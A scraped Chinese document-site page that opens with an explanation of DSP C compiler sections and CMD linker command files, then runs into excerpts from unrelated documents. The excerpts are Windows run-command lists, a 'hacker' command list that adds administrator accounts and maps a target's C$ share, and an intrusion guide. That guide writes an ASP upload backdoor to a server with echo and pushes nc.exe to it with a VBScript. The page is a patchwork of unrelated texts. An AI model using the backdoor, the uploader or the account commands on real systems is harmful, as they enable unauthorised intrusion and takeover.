文档库 最新最全的文档下载
当前位置:文档库 › C语言生成的段和CMD文件

C语言生成的段和CMD文件

C语言生成的段和CMD文件
C语言生成的段和CMD文件

C语言生成的段和CMD文件

通用目标文件格式COFF(Common Object File Format),是一种很流行的二进制可执行文件格式。二进制可执行文件包括库文件(以后缀.lib结尾)、目标文件(以后缀.obj结尾)、最终的可执行文件(以后缀.out结尾)等。

1. COFF格式

详细的COFF文件格式包括段头、可执行代码和初始化数据、可重定位信息、行号入口、符号表、字符串表等,这些属于编写操作系统和编译器人员关心的范畴。从应用的层面上讲,DSP的C语言程序员应掌握两点:通过伪指令定义段;并给段分配空间。至于二进制文件到底如何组织分配,则交由编译器完成。

把握COFF格式的概念,最关键的一点就是:二进制可执行文件是以段(section)的形式存储的。

使用段的好处是鼓励模块化编程,提供更强大而又灵活的方法来管理代码和目标系统的内存空间。这里模块化编程的意思是,程序员可以自由决定愿意把哪些代码归属到哪些段,然后加以不同的处理。

编译器处理段的过程为:每个源文件都编译成独立的目标文件(以后缀.obj 结尾),每个目标文件含有自己的段,连接器把这些目标文件中相同段名的部分连接在一起,生成最终的可执行文件(以后缀.out结尾)。

段分为两大类:已初始化的段和未初始化的段。

已初始化的段含有真实的指令和数据,存放在程序存储空间。程序存储空间在DSP片内的FLASH。调试代码时,则常常把代码在线下载到RAM中运行。

未初始化的段只是保留变量的地址空间,未初始化的段存放在数据存储空间中,数据存储空间多为RAM存储单元。在DSP上电调用_c_int0初始化库前,未初始化的段并没有真实的内容。

汇编语言中,通过六条伪指令来定义段,因此时常把伪指令和段混为一谈,比如伪指令“.bss”,也是段“.bss”。

(1)未初始化的段

1).bss:定义变量存放空间。

2).usect:用户可自行定义未初始化的段,提供给用户更多的灵活性。

(2)已初始化的段

1).text:包含可执行的汇编指令代码。.text是系统定义的默认段,如果不明确声明,代码就归属.text段。

2).data:一般包括常数数据。比如,用来对变量初始化的数据或一个正弦表格等。

3).sect:用户可自行定已初始化的段,提供给用户更多的灵活性。

4).asect:作用类似于.sect,但是多了绝对地址定位功能。由于地址定位功能常用功能更强大又灵活的命令文件来完成,这条指令在汇编编程中已经废弃不用。

2.C语言生成的段

先解释一下堆栈的概念,二者是不同的概念。

栈(stack)是由系统自动管理的一片内存,用来存放局部变量和函数压栈出栈的状态量。进入C语言函数时需要保存一些寄存器的状态,即压栈操作;退出函数时要还原那些寄存器,即出栈操作。

堆(heap)是当用户想要自己能独立灵活地控制一些内存时,可以用malloc()等函数开辟一些动态内存区,这些动态内存区称为堆。

C语言在运行时并不检查堆栈溢出与否。如果堆栈段定义在数据存储空间的最后区域,实际运行时即使堆栈发生溢出,也不会覆盖其他有用的数据,此时堆栈可用的最高限额是实际数据存储空间的最高地址。

C语言有7个定义好的段,没有了汇编语言中的.data段,以下分类叙述。

(1)已初始化的段

1).text:编译C语言中的语句时,生成的汇编指令代码存放于此。

2).cinit:存放用来对全局和静态变量初始化的常量

3).switch:存放switch语句产生的常数表格。

(2)未初始化的段

1).bss:存放全局和静态变量。

2).stack:存放C语言的栈。

3).sysmen:存放C语言的堆。

4).const:稍微有些复杂的段。简单而言,是用来存放一些特殊的常数和字符等。

#pragma是标准C中保留的预处理命令。程序员可以通过#pragma来定义自己的段,这是预处理命令#pragma的主要用法。

#pragma的语法是:

#pragma CODE_SECTION(symbol,”section name”);

#pragma DATA_SECTION(symbol,”section name”);

说明:

1)symbol是符号,可以是函数名也可以是全局变量名,section name是用户自己定义的段名。

2)CODE_SECTION用来定义代码段,DATA_SECTION用来定义数据段。

使用#pragma需要注意:

1)不能在函数体内声明#pragma.

2)必须在符号被定义和使用前使用#pragma。

如果没有用到某些段,比如很多人都没有用到.sysmen段,就可以不用在CMD文件中为其分配空间。当然保险起见,也可以不论用到与否,都全分配空间,没有用到段的空间大小当然是零。

在CMD文件中,page0代表程序空间,page1代表数据空间,下表列出这些段应该分配的存储空间。

3.连接命令文件(CMD文件)

连接命令文件(Linker Command Files),以后缀.cmd结尾,简称为CMD文件。

CMD文件的两大主要功能是指示存储空间和分配段到存储空间,以下分别叙述。

〈1〉通过MEMORY伪指令来指示存储空间

MEMORY伪指令语法如下:

MEMORY

{

PAGE 0:name 0[(attr)]:origin=constant,length=constant

PAGE 0:name n[(attr)]:origin=constant,length=constant }

(1)PAGE 用来标示存储空间的关键字。page n的最大值为page 225。C24XX 和C28XX系列中用的是page 0、page 1,其中page 0为程序存储空间,page 1为数据存储空间。

(2)name 代表某一属性和地址范围的存储空间名称。名称可以是1-8个字符,在同一个页内名称不能相同,不同页内名称能相同。

(3)attr 用来规定存储空间的属性。共有4个属性,分别用4个字母代表:只读R、只写W、该空间可包含可执行代码X、该空间可以被初始化I。实际使用时,简化起见,常忽略此选项,这样存储空间就能具有所有的属性。

(4)orgin 用来定义存储空间起始地址的关键字。

(5)length 用来定义存储空间长度的关键字。

〈2〉通过SECTIONS伪指令来分配段到存储空间

相对于简单的伪指令MEMORY,伪指令SECTION稍稍有些复杂。SECTION 伪指令语法如下:

SECTIONS

{

name:[property,property,property,…]

name:[property,property,property,…]

……

}

(1)name 输出段的名称。

(2)property 输出段的属性。常用的有下面一些属性。

1)load:定义输出段将会被装载到哪里的关键字。其语法如下:

load=allocation或

allocation或

>allocation

allocation可以是强制地址,比如“load=0x100”。但更多的时候,allocation 是存储空间的名称,这也是最为通常的用法。

2)run:定义输出段将会在哪里运行的关键字。其语法如下:

run=allocation 或

run>allocation

CMD文件规定当只出现一个关键字load或run时,表示load地址和run地址是重叠的。实际应用中,大部分段的load地址和run地址是重叠的,除了.const 段。

3)输入段。其语法如下:

{input_sections}

花括号“{}”中是输入段。

这里是输入段与输出段做一个区分:每一个汇编或C语言文件经过编译会生成若干个段,多个汇编或C语言文件生成的段大都是同名的,常见的如前面已经介绍过的段.cinit,.bss等等。这些段都是输入段。这些归属于不同文件的输入段,在CMD文件的指示下,会被连接器连接在一起生成输出段。

4)其余的特性。

CMD文件中还可以直接写各种编译命令。有些程序员也喜欢这么做,考虑到读者遇见时不致于困惑,兹举几例如下:

1)-l rts2xx.lib /*连接系统库文件rts2xx.lib*/

2)-o roam.out /*最终生成的二进制文件命名为roam.out*/

3)-m roam.map /*生成映射文件roam.map*/

4)-stack 0x200 /*堆栈定为512字*/

4.复杂的.const段

C语言有中有三种情况会产生.const段:

(1)关键字const 由关键字const限定的带有全局基本变量的初始化值,比如“const int a=90;”。但由于关键字const限定的局部基本变量的初始化值,不会产生.const段,局部变量都是运行时开辟在.bss段中的。

(2)字符串常数字符串常数出现在表达式中,比如,“strcpy(s,”abc”);”。字符串常数用来初始化指针变量,比如“char *p=”abc”;”。但当字符串常数用来初始化数组变量时,不论是全局还是局部数组变量,都不会产生.const段,此时字符串常数生成的是.cinit段。比如“char s[4]=”abc”;”。

(3)数组和结构体的初始值数组和结构体是局部变量,其初始化值会产生.const段,比如“int a[8]={1,2,3};”。但当数组和结构体是全局变量时,其初始化值不会产生.const段,此时生成的是.cinit段。

设置.const段是基于灵活性考虑的,程序中常会有大量的常数占用数据空间,比如液晶显示用的点阵字库等。这些数据空间存放常数值,只被用来读,而从不会被写入。把这些常数单独编译成.const段,就为C编译器来做特定处理提供了条件。

那怎么存储这些常数呢?

一种解决的方法是把.const段中的常数存储在程序空间,上电时把这些常数由程序空间搬移到数据空间,但这样的初始化费时,且占用了大量的程序空间。理想的解决方法是把.const段中的常数固化或烧写到外在的一个ROM或FLASH 中,并把ROM或FLASH的地址译码到DSP的数据空间,这样就能避免地一种解决方法的缺陷了。

但是,当没有这个ROM或FLASH来存储常数时,还是要用第一种解决方法。把.const段从page0搬移到page1,需要在两个地方作些设置和改动。

1)在CMD文件中的设置

在CMD文件需要把装载和运行分开,装载在page0,运行在page1。

2)修改连接的rts2xx.lib库

在DOS命令环境下,从trs.src源文件库中释放出boot.asm。

Dspar –x rts.src boot asm

打开boot.asm把里面的CONST_COPY常数改成1(原先是0)。

CONST_COPY .set 1

重新把boot.asm文件编译一遍,生成boot.obj。

dspa –v2xx boot.asm

把boot.obj归档到C语言的rts2xx.lib库中。

Dspa –r rts2xx.lib boot.obj

此时生成新的库文件rts2xx.lib

当C语言程序连接到新的库文件rts2xx.lib时,DSP上电初始化时,系统库将自动把.const段中的常数从page0区搬移到page1区。

最全CMD指令大全-cmd最恐怖指令-cmd最恐怖指令

CMD运行指令 欧阳学文 开始→运行→CMD→键入以下命令即可: ASSOC显示或修改文件扩展名关联。AT计划在计算机上运行的命令和程序。ATTRIB显示或更改文件属性。BREAK 设置或清除扩展式CTRL+C检查。CACLS显示或修改文件的访问控制列表(ACLs)。CALL从另一个批处理程序调用这一个。CD显示当前目录的名称或将其更改。CHCP显示或设置活动代码页数。CHDIR显示当前目录的名称或将其更改。 cleanmgr–打开磁盘清理工具compmgmt.msc---计算机管理conf—启动netmeetingcharmap–-启动字符映射表calc—启动计算器chkdsk.exe–-Chkdsk磁盘检查cmd.exe–-CMD命令提示符certmgr.msc–证书管理实用程序cliconfg–SQLSERVER客户端网络实用程序Clipbrd–-剪贴板查看器 ciadv.msc–--索引服务程序dvdplay–-DVD 播放器diskmgmt.msc---磁盘管理实用程序dfrg.msc–磁

盘碎片整理程序devmgmt.msc---设备管理器drwtsn32–--系统医生dxdiag–--检查DirectX信息dcomcnfg–打开系统组件服务ddeshare–打开DDE共享设置explorer–打开资源管理器eventvwr–事件查看器eudcedit–造字程序fsmgmt.msc–-共享文件夹管理器gpedit.msc–-组策略iexpress–***工具,系统自带logoff–注销命令lusrmgr.msc–本机用户和组mstsc–远程桌面连接Msconfig.exe---系统配置实用程序mem.exe–-显示内存使用情况(如果直接运行无效,可以先运行cmd,在命令提示符里输入mem.exe>d:a.txt即可打开d盘查看a.txt,里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。)chkdsk.exe–-Chkdsk磁盘检查cmd.exe–-CMD命令提示符mplayer2–简易widnowsmediaplayermspaint–-画图板mplayer2–媒体播放机magnify–-放大镜实用程序mmc—-打开控制台mobsync–-同步命令notepad–-打开记事本nslookup–网络管理的工具向导ntbackup–系统备份和还原narrator–屏幕“讲述人”netstartmessenger–开始信使服务netstopmessenger–-停止信使服务 netstopmessenger–-

Windows CMD命令大全

cmd是command的缩写.即命令行。 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命 运,但是因为它运行安全、稳定,有的用户还在使用,所以一般Windows 的各种版本都与其兼容,用户可以在Windows 系统下运行DOS,中文版Windows XP 中的命令提示符进一步提高了与DOS 下操作命令的兼容性,用户可以在命令提示符直接输入中文调用文件。 在9x系统下输入command就可以打开命令行.而在NT系统上可以输入cmd来打开,在 windows2003后被cmd替代,利用CMD命令查询系统的信息或者是判断网络的好坏。 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CMD命令锦集 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器,是一个监测网络中DNS 服务器是否能正确实现域名解析的命令行工具。它在Windows NT/2000/XP 中均可使用, 但在Windows 98 中却没有集成这一个工具。 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. shutdown-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll文件运行 24. drwtsn32------ 系统医生 25. rononce -p----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况

黑客常用CMD命令大全

黑客常用CMD命令大全 net user heibai lovechina /add 加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add 把他加入Administrator组 net start telnet 开对方的TELNET服务 net use z:\127.0.0.1c$ 映射对方的C盘 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名密码/add 建立用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net user guest /active:yes 将Guest用户激活 net user guest lovechina 把guest的密码改为lovechina net user 用户名/delete 删掉用户 net user guest/time:m-f,08:00-17:00 表示guest用户登录时间为周一至周五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00. net user guest/time:all表示没有时间限制. net user guest/time 表示guest用户永远不能登录. 但是只能限制登陆时间,不是上网时间 net time \\127.0.0.1 得到对方的时间, get c:\index.htm d:\ 上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm 本地C盘下的index.htm复制到 127.0.0.1的C盘 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务;(如:net start telnet,net start schedule) net stop 服务名停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数 /yes可取消确认信息net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置

超级完整CMD命令大全

千万不要小看了CMD,超级完整CMD命令大全 gpedit.msc‐‐‐‐‐组策略 sndrec32‐‐‐‐‐‐‐录音机 Nslookup‐‐‐‐‐‐‐IP地址侦测器 explorer‐‐‐‐‐‐‐打开资源管理器 logoff‐‐‐‐‐‐‐‐‐注销命令 tsshutdn‐‐‐‐‐‐‐60秒倒计时关机命令 lusrmgr.msc‐‐‐‐本机用户和组 services.msc‐‐‐本地服务设置 oobe/msoobe /a‐‐‐‐检查XP是否激活 notepad‐‐‐‐‐‐‐‐打开记事本 cleanmgr‐‐‐‐‐‐‐垃圾整理 net start messenger‐‐‐‐开始信使服务 compmgmt.msc‐‐‐计算机管理 net stop messenger‐‐‐‐‐停止信使服务 conf‐‐‐‐‐‐‐‐‐‐‐启动netmeeting dvdplay‐‐‐‐‐‐‐‐DVD播放器 charmap‐‐‐‐‐‐‐‐启动字符映射表 diskmgmt.msc‐‐‐磁盘管理实用程序 calc‐‐‐‐‐‐‐‐‐‐‐启动计算器 dfrg.msc‐‐‐‐‐‐‐磁盘碎片整理程序 chkdsk.exe‐‐‐‐‐Chkdsk磁盘检查 devmgmt.msc‐‐‐ 设备管理器 regsvr32 /u *.dll‐‐‐‐停止dll文件运行 drwtsn32‐‐‐‐‐‐ 系统医生 rononce ‐p ‐‐‐‐15秒关机 dxdiag‐‐‐‐‐‐‐‐‐检查DirectX信息 regedt32‐‐‐‐‐‐‐注册表编辑器 Msconfig.exe‐‐‐系统配置实用程序 rsop.msc‐‐‐‐‐‐‐组策略结果集 mem.exe‐‐‐‐‐‐‐‐显示内存使用情况 regedit.exe‐‐‐‐注册表 winchat‐‐‐‐‐‐‐‐XP自带局域网聊天 progman‐‐‐‐‐‐‐‐程序管理器 winmsd‐‐‐‐‐‐‐‐‐系统信息 perfmon.msc‐‐‐‐计算机性能监测程序 winver‐‐‐‐‐‐‐‐‐检查Windows版本 sfc /scannow‐‐‐‐‐扫描错误并复原 winipcfg‐‐‐‐‐‐‐IP配置

电脑 开始 运行(cmd)命令大全

开始→运行(cmd)命令大全 gpedit.msc-----组策略sndrec32-------录音机Nslookup-------IP地址侦测器explorer-------打开资源管理器 logoff---------注销命令tsshutdn-------60秒倒计时关机命令 lusrmgr.msc----本机用户和组services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活notepad--------打开记事本cleanmgr-------垃圾整理net start messenger----开始信使服务 compmgmt.msc---计算机管理net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器charmap--------启动字符映射表diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行drwtsn32------ 系统医生 rononce -p ----15秒关机dxdiag---------检查DirectX 信息 regedt32-------注册表编辑器Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集mem.exe--------显示内存使用情况 regedit.exe----注册表winchat--------XP自带局域网聊天 progman--------程序管理器winmsd---------系统信息perfmon.msc----计算机性能监测程序winver---------检查Windows版本 sfc /scannow-----扫描错误并复原winipcfg-------IP配置 taskmgr-----任务管理器(2000/xp/2003)command--------cmd fsmgmt.msc 共享文件夹netstat -an----查看端口osk 屏幕键盘install.asp----修改注册网页 eventvwr.msc 时间查看器 secpol.msc 本地安全设置 services.msc 服务 2K accwiz.exe > 辅助工具向导 acsetups.exe > acs setup dcom server executable

windowsCMD命令大全

aCMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 1. appwiz.cpl:程序和功能 2. calc:启动计算器 3. certmgr.msc:证书管理实用程序 4. charmap:启动字符映射表 5. chkdsk.exe:Chkdsk磁盘检查(管理员身份运行命令提示符) 6. cleanmgr: 打开磁盘清理工具 7. cliconfg:SQL SERVER 客户端网络实用工具 8. cmstp:连接管理器配置文件安装程序 9. cmd.exe:CMD命令提示符 10. 自动关机命令 Shutdown -s -t 600:表示600秒后自动关机 shutdown -a :可取消定时关机 Shutdown -r -t 600:表示600秒后自动重启 rundll32 user32.dll,LockWorkStation:表示锁定计算机 11. colorcpl:颜色管理,配置显示器和打印机等中的色彩 12. CompMgmtLauncher:计算机管理 13. compmgmt.msc:计算机管理 14. credwiz:备份或还原储存的用户名和密码 15. comexp.msc:打开系统组件服务 16. control:控制面版 17. dcomcnfg:打开系统组件服务 18. Dccw:显示颜色校准 19. devmgmt.msc:设备管理器 20. desk.cpl:屏幕分辨率 21. dfrgui:优化驱动器Windows 7→dfrg.msc:磁盘碎片整理程序 22. dialer:电话拨号程序 23. diskmgmt.msc:磁盘管理 24. dvdplay:DVD播放器 25. dxdiag:检查DirectX信息 26. eudcedit:造字程序 27. eventvwr:事件查看器 28. explorer:打开资源管理器 29. Firewall.cpl:Windows防火墙 30. FXSCOVER:传真封面编辑器 31. fsmgmt.msc:共享文件夹管理器 32. gpedit.msc:组策略 33. hdwwiz.cpl:设备管理器 34. inetcpl.cpl:Internet属性 35. intl.cpl:区域 36. iexpress:木马捆绑工具,系统自带 37. joy.cpl:游戏控制器 38. logoff:注销命令

CMDOW 一个CMD命令行下窗口控制程序

CMDOW 一个CMD命令行下窗口控制程序 CMDOW 一个CMD 命令行下隐藏禁用窗口控制程序CMDOW [window | /T] [/B] [/F] [/P]例:执行cmdow @,显示为 Handle Lev Pid -Window status- Image Caption 0x230088 1 3356 Res Act Ena Vis cmd C:\WINDOWS\system32\cmd.exe - cmd - cmwindow 指定要列出的窗口,使用窗口标题或句柄来指定,没有标题的用窗口类代替。如果没有指定则列出所有窗口。 “@”表示此窗口,即命令行窗口。 /T 只列出任务栏的窗口 /B 如上面的例子,加这个参数则不显示第一行 /F 显示完整标题 /P 列出窗口位置、宽与高另外 Handle 句柄,16进制格式 Window status 窗口状态(Minimized, Maximized, Restored, Active, Inactive, Enabled, Disabled, Visible or Hidden)

CMDOW /TH | /TV | /CW | /MA | /UW | /AT | /FS | /WM/TH 横向平铺窗口 /TV 纵向平铺窗口 /CW 层叠窗口 /MA 最小化所有窗口 /UW 取消/TH, /TV, /CW , /MA /AT 相当与Alt+Esc /FS 全屏命令行窗口,相当于Alt+Enter /WM 取消全屏,即再按一次 Alt+Enter CMDOW window {[/ACT] [/INA] [/ENA] [/DIS] [/VIS] [/HID] [/MIN] [/MAX] [/RES] [/TOP] [/NOT] [/REN caption] [/MOV left top] [/SIZ width height] [/CLS] [/END]}/ACT 激活指定窗口 /INA 不知有啥用 /DIS 把窗口变为“只许看不准摸”:无法移动、鼠标左右键无效,更别说输入了。但可以用快捷键关闭。 /ENA 解除/DIS /HID 隐藏窗口,任务栏和托盘皆

用cmd命令使电脑关机

比如你的电脑要在22:00关机,可以选择“开始→运行”,输入“at 22:00 Shutdown -s”, 这样,到了22点电脑就会出现“系统关机”对话框,默认有30秒钟的倒计时并提示你保存工 作。如果你想以倒计时的方式关机,可以输入“Shutdown -s -t 3600”,这里表示60 分钟后自动关机,“3600”代表60分钟。 设置好自动关机后,如果想取消的话,可以在运行中输入“shutdown -a”。另外输入“shutdown -i”,则可以打开设置自动关机对话框,对自动关机进行设置。 Shutdown.exe的参数,每个都具有特定的用途,执行每一个都会产生不同的效果,比如“-s”就表示关闭本地计算机,“-a”表示取消关机操作,下面列出了更多参数,大家 可以在Shutdown.exe中按需使用。 -f:强行关闭应用程序 -m \\计算机名:控制远程计算机 -i:显示图形用户界面,但必须是Shutdown的第一个选项 -l:注销当前用户 -r:关机并重启 -t 时间:设置关机倒计时 -c "消息内容":输入关机对话框中的消息内容(不能超127个字符) 有时候,我们需要定时关闭计算机,下面介绍一个在Windows XP下实现定时关机的简单方法。 指定系统在22分钟后自动关闭:点击“开始→运行”,在“打开”中输入命令“Shutdown -s -t 1320”(注意:引号不输入,参数之间有空格,1320的单位是秒),单击“确定”按钮即可。 指定系统在某个时间(比如12:00)自动关闭:在“打开”中输入命令 “at 12:00 Shutdown -s”即可。 取消定时关机:在“打开”中输入命令“Shutdown -a”即可。 能的实现都是使用“Shutdown”命令实现的,shutdown的参数是在命令行窗口中输入“shutdown”。笔者认为最有用的是“-i”参数,可以调出“远程关机对话框”, 能方便地实现局域网内计算机的远程关机,有兴趣的朋友可以试一试。 开始-程序-附件-系统工具-计划任务-添加任务计划-下一步-浏览

电脑常识 运行命令(cmd)大全

电脑常识 :运行命令(cmd)大全2009-05-30 21:18 运行命令(cmd)大全 电脑常识 什么是运行命令呢? 点windows开始菜单上的运行选项,输入cmd,在出现的dos窗口中输入以下命令即可以了。当然也可以在运行框中直接输入命令。 winver 检查Windows版本 wmimgmt.msc 打开Windows管理体系结构(wmi) wupdmgr Windows更新程序 wscript Windows脚本宿主设置 write 写字板 winmsd 系统信息 wiaacmgr 扫描仪和照相机向导 winchat xp自带局域网聊天 mem.exe 显示内存使用情况 msconfig.exe 系统配置实用程序 mplayer2 简易widnows media player mspaint 画图板 mstsc 远程桌面连接 mplayer2 媒体播放机 magnify 放大镜实用程序 mmc 打开控制台 mobsync 同步命令 dxdiag 检查directx信息 drwtsn32 系统医生 devmgmt.msc 设备管理器 dfrg.msc 磁盘碎片整理程序 diskmgmt.msc 磁盘管理实用程序 dcomcnfg 打开系统组件服务 ddeshare 打开dde共享设置 dvdplay dvd播放器 net stop messenger 停止信使服务 net start messenger 开始信使服务 notepad 打开记事本 nslookup 网络管理的工具向导 ntbackup 系统备份和还原 narrator 屏幕“讲述人” ntmsmgr.msc 移动存储管理器 ntmsoprq.msc 移动存储管理员操作请求 netstat -an (tc)命令检查接口 syncapp 创建一个公文包 sysedit 系统配置编辑器 sigverif 文件签名验证程序 sndrec32 录音机 shrpubw 创建共享文件夹 secpol.msc 本地安全策略 syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码 services.msc 本地服务设置

黑客常用CMD命令大全

黑客常用命令大全 net user heibai lovechina /add 加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add 把他加入Administrator组 net start telnet 开对方的TELNET服务 net use z:\127.0.0.1c$ 映射对方的C盘 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名密码/add 建立用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net user guest /active:yes 将Guest用户激活 net user guest lovechina 把guest的密码改为lovechina net user 用户名/delete 删掉用户 net user guest/time:m-f,08:00-17:00 表示guest用户登录时间为周一至周五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00. net user guest/time:all表示没有时间限制. net user guest/time 表示guest用户永远不能登录. 但是只能限制登陆时间,不是上网时间 net time \\127.0.0.1 得到对方的时间, get c:\index.htm d:\ 上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm 本地C盘下的index.htm复制到127.0.0.1的C盘 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务;(如:net start telnet,net start schedule) net stop 服务名停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享

用命令行交互(Cmd Shell)入侵系统的方法

用命令行交互(Cmd Shell)入侵系统的方法 前言 Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。 本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。 文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$ 的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。直接给出echo版: @echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp 注意,只有一行,中间没有回车符。 生成的up.asp不能用浏览器访问,只能用下面这个脚本: with wscript if .arguments.count<3 then .quit url=.arguments(0)&"?s="&.arguments(2) fn=.arguments(1) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with 将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是: cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

电脑Cmd常用命令

CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) chcp 修改默认字符集 chcp 936默认中文 chcp 65001 1. appwiz.cpl:程序和功能 2. calc:启动计算器 5. chkdsk.exe:Chkdsk磁盘检查(管理员身份运行命令提示符) 6. cleanmgr: 打开磁盘清理工具 9. cmd.exe:CMD命令提示符 10. 自动关机命令 Shutdown -s -t 600:表示600秒后自动关机 shutdown -a :可取消定时关机 Shutdown -r -t 600:表示600秒后自动重启   12. CompMgmtLauncher:计算机管理 13. compmgmt.msc:计算机管理 14. credwiz:备份或还原储存的用户名和密码 16. control:控制面版 17. dcomcnfg:打开系统组件服务 19. devmgmt.msc:设备管理器 20. desk.cpl:屏幕分辨率 21. dfrgui:优化驱动器 Windows 7→dfrg.msc:磁盘碎片整理程序 22. dialer:电话拨号程序 23. diskmgmt.msc:磁盘管理 24. dvdplay:DVD播放器 25. dxdiag:检查DirectX信息 26. eudcedit:造字程序 27. eventvwr:事件查看器 28. explorer:打开资源管理器 29. Firewall.cpl:Windows防火墙 31. fsmgmt.msc:共享文件夹管理器 32. gpedit.msc:组策略 33. hdwwiz.cpl:设备管理器 34. inetcpl.cpl:Internet属性 35. intl.cpl:区域 36. iexpress:木马捆绑工具,系统自带 37. joy.cpl:游戏控制器 38. logoff:注销命令 39. lusrmgr.msc:本地用户和组 40. lpksetup:语言包安装/删除向导,安装向导会提示下载语言包 41. lusrmgr.msc:本机用户和组 42. main.cpl:鼠标属性 43. mmsys.cpl:声音 45. mem.exe:显示内存使用情况(如果直接运行无效,可以先管理员身份运行命令提示符,在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。) 第 1 页

电脑高手:运行(cmd)命令大全

